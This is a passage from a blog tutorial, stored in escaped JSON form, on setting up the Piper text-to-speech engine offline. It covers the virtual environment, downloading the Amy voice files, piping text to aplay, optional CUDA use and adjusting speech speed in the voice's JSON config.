it\u2019s best to use a virtual environment.\npython3 -m venv .venv source .venv\/bin\/activate pip install piper-tts Add a Voice #Piper uses ONNX-based voice models and needs both the .onnx model and its matching .json config file.\nYou can browse the full list of supported voices here:\nhttps:\/\/github.com\/rhasspy\/piper\/blob\/master\/VOICES.md https:\/\/rhasspy.github.io\/piper-samples\/ For this example, let’s download the English voice “Amy”.\n# Download the model file wget "https:\/\/huggingface.co\/rhasspy\/piper-voices\/resolve\/v1.0.0\/en\/en_US\/amy\/medium\/en_US-amy-medium.onnx?download=true" \\ -O en_US-amy-medium.onnx # Download the corresponding config file wget "https:\/\/huggingface.co\/rhasspy\/piper-voices\/resolve\/v1.0.0\/en\/en_US\/amy\/medium\/en_US-amy-medium.onnx.json?download=true" \\ -O en_US-amy-medium.onnx.json Place both files in the same folder. Piper uses the .json file to determine things like speaking speed, noise level, and phoneme mappings.\nTry It Out #Time for the magic. Let\u2019s speak some text. You can generate a WAV file or stream it directly to your speakers.\nOption 1: Save to file and play #echo "Hello from your machine!" | piper -m en_US-amy-medium.onnx --output_file hello.wav aplay hello.wav # or use your system's audio player Option 2: Stream directly to aplay #echo "This sentence is spoken first. This sentence is synthesized while the first sentence is spoken." \\ | piper -m en_US-amy-medium.onnx --output-raw \\ | aplay -r 22050 -f S16_LE -t raw - This streams raw audio directly to your speakers in real-time. Make sure the sample rate and format match your voice model.\nOn WSL, use wmplayer hello.wav or powershell -c (New-Object Media.SoundPlayer 'hello.wav').PlaySync().\nUse a GPU (Optional) #If you’d like to use a GPU, install the onnxruntime-gpu package inside your virtual environment. Then run Piper with the --cuda flag.\n# installs the onnxruntime-gpu package .venv\/bin\/pip3 install onnxruntime-gpu # runs piper using CUDA echo "Hello from your machine!" | piper -m en_US-amy-medium.onnx --cuda | aplay You\u2019ll need a working CUDA environment, such as what comes with NVIDIA’s PyTorch containers.\nFine-Tune the Voice (Optional) #Too fast or too slow? Edit the en_US-amy-low.onnx.json config file and tweak this value:\n"phoneme_duration_scale": 1.2 Or for more fine-tuning:\n"inference": { "length_scale": 1.2, "noise_scale": 0.5, "noise_w": 0.6 } Higher length_scale = slower speech. Try 1.2 to 1.5.\nWrap Up #You now have a fast, local, private TTS engine \u2014 no internet, no API keys. Just raw, talking hardware.\nNext steps?\nUse it in your scripts or Python apps Hook it into a voice assistant Clone your own voice (stay tuned for Tutorial #2!) If this worked, give your machine a high-five \u2014 or better yet, have it say \u201cThank you!\u201d\n","date":"July 7, 2025","permalink":"https:\/\/rmauro.dev\/how-to-run-piper-tts-on-your-raspberry-pi-offline-voice-zero-internet-needed\/","section":"Posts","summary":"

Want to make your computer talk<\/em> \u2014 using real, natural-sounding voices without needing the cloud?<\/p>\n

In this tutorial, we\u2019ll set up Piper TTS<\/strong><\/a> on a local system and give it a voice. It\u2019s fast, offline, and perfect for voice assistants, robotics, Raspberry Pi projects, or just impressing your friends.<\/p>\n

\n

What You\u2019ll Need #<\/a><\/span><\/h2>